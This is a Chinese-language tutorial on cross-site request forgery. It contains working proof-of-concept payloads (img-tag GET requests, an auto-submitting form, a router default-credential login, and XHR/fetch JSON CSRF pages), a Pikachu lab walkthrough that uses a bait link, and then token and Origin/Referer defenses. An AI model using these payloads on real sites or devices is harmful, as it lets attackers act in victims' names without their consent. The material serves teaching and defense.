1
免责声明
本号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如有侵权请联系小编处理。
2
内容速览
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者SessionRiding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
简单的说是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品))
因为浏览器之前认证过,所以被访问的站点会绝点是这是真正的用户操作而去运行。
这就利用了web中用户身份认证验证的一个漏洞:简单的身份验证仅仅能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。
其实可以这么理解CSRF攻击:攻击者盗用了受害者的身份,以受害者的名义发送恶意请求
CSRF能够做的事情包含:以你的名义发送邮件;发消息;盗取你的账号;甚至于购买商品、虚拟货币转账......造成的问题包含个人隐私泄露以及财产安全。
尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性
CSRF攻击过程
从上图能够看出,要完毕一次CSRF攻击,受害者必须依次完毕两个步骤:
在执行关键处理前,需要确认该请求是否确实由用户自愿发起。如果忽略了这个确认步骤,就可能出现严重问题,比如用户只是浏览了恶意网站,浏览器就擅自执行关键处理等。
引发上述问题的安全隐患被称为跨站请求伪造(CSRF)漏洞,而针对CSRF漏洞进行的攻击就是CSRF攻击。
检测是否存在CSRF漏洞最简单的方法
:
抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞
CSRF漏洞造成的影响仅限于应用的关键处理被恶意使用,而像用户的个人信息等就无法通过CSRF攻击窃取
因此,为了预防CSRF漏洞,就需要在执行关键处理前确认请求确实是由用户自愿发起的
GET类型的CSRF利用非常简单,只需要一个HTTP请求 这种类型的CSRF一般是由于程序员安全意识不强造成的 一般会这样利用:
<img src=http://wooyun.org/csrf?xx=11 />
在访问含有这个img的页面后,成功向http://wooyun.org/csrf?xx=11
发出了一次HTTP请求
所以,如果将该网址替换为存在GET型CSRF的地址,就能完成攻击了
这种类型的CSRF危害没有GET型的大,利用起来通常使用的是一个自动提交的表单,如:
<form action=http://wooyun.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>
访问该页面后,表单会自动提交,相当于模拟用户完成了一次POST操作
POC:
<img src=http://admin:admin@192.168.1.1 />
加载该图片后,路由器会给用户一个合法的SESSION,就可以进行下一步操作了
没有csrf-token的校验是最经典的CSRF漏洞高发处
但是这种漏洞只有在一些高风险的位置才有价值,比如csdn上关注/取关,发表博文等等一些操作
而在淘宝中如查看某一商品、执行某一模糊查询,这样的都属于无价值的被默认许可的csrf
参考低调的Flash CSRF攻击[1]
参考谈谈Json格式下的CSRF攻击[2]
如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json
我们可以使用XHR来实现csrf, poc如下:
<html>
<head>
<script style="text/javascript">
function submitRequest()
{<!-- -->
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({<!-- -->"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{<!-- -->"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
}
</script>
</head>
<body>
<form action="#">
<input type="button" value="Submit request" onClick="submitRequest()"/>
</form>
</body>
</html>
使用XMLHttpRequest、fetch能构造出JSON请求,并W且能设置Content-Type,但是无法跨域
fetch发起的请求代码:
<html>
<title>JSON CSRF POC</title>
<script>
fetch('http://victim.com/vul.page', {<!-- -->method: 'POST', credentials: 'include', headers: {<!-- -->'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
</form>
</html>
这里以Pikachu的CSRF靶场环境测试为例
打开pikachu,登录一个用户的账号,比如用用户名为vince密码是123456的账户
登录上去之后理论上前端就已经收到了后端传过来的cookie 那么我们只差伪造一个url就能开始骗用户点击之后修改他的信息了 打开开发者工具查看网络种的记录可以发现传来了cookie
我们伪造一个“诱人”的url骗他们点击之后就可以实现发送cookie冒用身份了
首先我们要确定修改用户页面传的get参数。
转到用户修改数据页面之后就可以根据源码看get传的参数了
如上图我们可以发现传的参数是如上几个,我们构造一下url,把vince用户的个人信息改成好玩的参数
原本从修改页面传回的url如下
127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=lal&phonenum=123456&add=lilian&email=dumb&submit=submit
经过修改成了这样子
<a href="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=你必狂吃不胖&phonenum=你必越长越好看&add=你必天天捡钱&email=你必好运连连&submit=submit"<美女荷官,在线发牌,百万影片你想要的这里都有</a>
那么在一个能解析html标签的环境下你就会发现它变成了如下的标签
要是被你骗的人真的点击之后会是这样子
现在你成功完成了一次CSRF漏洞攻击
了解了 CSRF 攻击的一些手段之后,我们再来看看 CSRF 攻击的一些“特征”,然后根据这些特征
分析下如何防止 CSRF 攻击。下面是我总结的发起 CSRF 攻击的三个必要条件:
满足以上三个条件之后,黑客就可以对用户进行 CSRF 攻击了
需要注意的是:与 XSS 攻击不同,CSRF 攻击不会往页面注入恶意脚本,因此黑客是无法通过 CSRF 攻击来获取用户页面数据的;
其最关键的一点是要能找到服务器的漏洞,所以说对于 CSRF 攻击我们主要的防护手段是提升服务器的安全性。
要让服务器避免遭受到 CSRF 攻击,通常有以下几种途径。
在表单中添加一个随机的数字或字母验证码。通过强制用户和应用进行交互。来有效地遏制CSRF攻击。
接着我们再来了解另外一种防止 CSRF 攻击的策略,那就是在服务器端验证请求来源的站点。
由于 CSRF 攻击大多来自于第三方站点,因此服务器可以禁止来自第三方站点的请求。那么该怎么判断请求是否来自第三方站点呢?
这就需要介绍 HTTP 请求头中的 Referer 和 Origin 属性了。
Referer 是 HTTP 请求头中的一个字段,记录了该 HTTP 请求的来源地址。
比如我从极客时间的官网打开了 InfoQ 的站点,那么请求头中的 Referer 值是极客时间的 URL,如下图:
虽然可以通过 Referer 告诉服务器 HTTP 请求的来源,但是有一些场景是不适合将来源 URL 暴露给服务器的,因此浏览器提供给开发者一个选项,可以不用上传 Referer 值,具体可参考Referrer Policy
但在服务器端验证请求头中的 Referer 并不是太可靠,因此标准委员会又制定了Origin 属性
在一些重要的场合,比如通过 XMLHttpRequest、Fecth 发起跨站请求或者通过 Post 方法发送请求时,都会带上 Origin 属性,如下图:
从上图可以看出,Origin 属性只包含了域名信息,并没有包含具体的 URL 路径,这是 Origin 和 Referer 的一个主要区别。
在这里需要补充一点,Origin 的值之所以不包含详细路径信息,是有些站点因为安全考虑,不想把源站点的详细路径暴露给服务器。
因此,服务器的策略是优先判断 Origin,如果请求头中没有包含 Origin 属性,再根据实际情况判断是否使用 Referer 值。
除了使用以上两种方式来防止 CSRF 攻击之外,还可以采用 CSRF Token 来验证,这个流程比较好理解,大致分为两步。
第一步,在浏览器向服务器发起请求时,服务器生成一个 CSRF Token。
CSRF Token 其实就是服务器生成的字符串,然后将该字符串植入到返回的页面中。你可以参考下面示例代码:
第二步,在浏览器端如果要发起转账的请求,那么需要带上页面中的 CSRF Token,然后服务器会验证该 Token 是否合法。
如果是从第三方站点发出的请求,那么将无法获取到 CSRF Token 的值,所以即使发出了请求,服务器也会因为 CSRF Token 不正确而拒绝请求。
这样的方法也是使用 token 并进行验证。
这里并非把 token 以參数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自己定义的属性里。
通过 XMLHttpRequest 这个类,能够一次性给全部该类请求加上 csrftoken 这个 HTTP 头属性。
并把 token 值放入当中。这样攻克了上种方法在请求中添加 token 的不便。
同一时候,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏
也不用操心 token 会透过 Referer 泄露到其它站点中去。
[1]
低调的Flash CSRF攻击: https://blog.knownsec.com/2013/03/%E7%A7%91%E6%99%AE%E4%BD%8E%E8%B0%83%E7%9A%84flash-csrf%E6%94%BB%E5%87%BB/
[2]
谈谈Json格式下的CSRF攻击: https://www.freebuf.com/articles/web/206407.html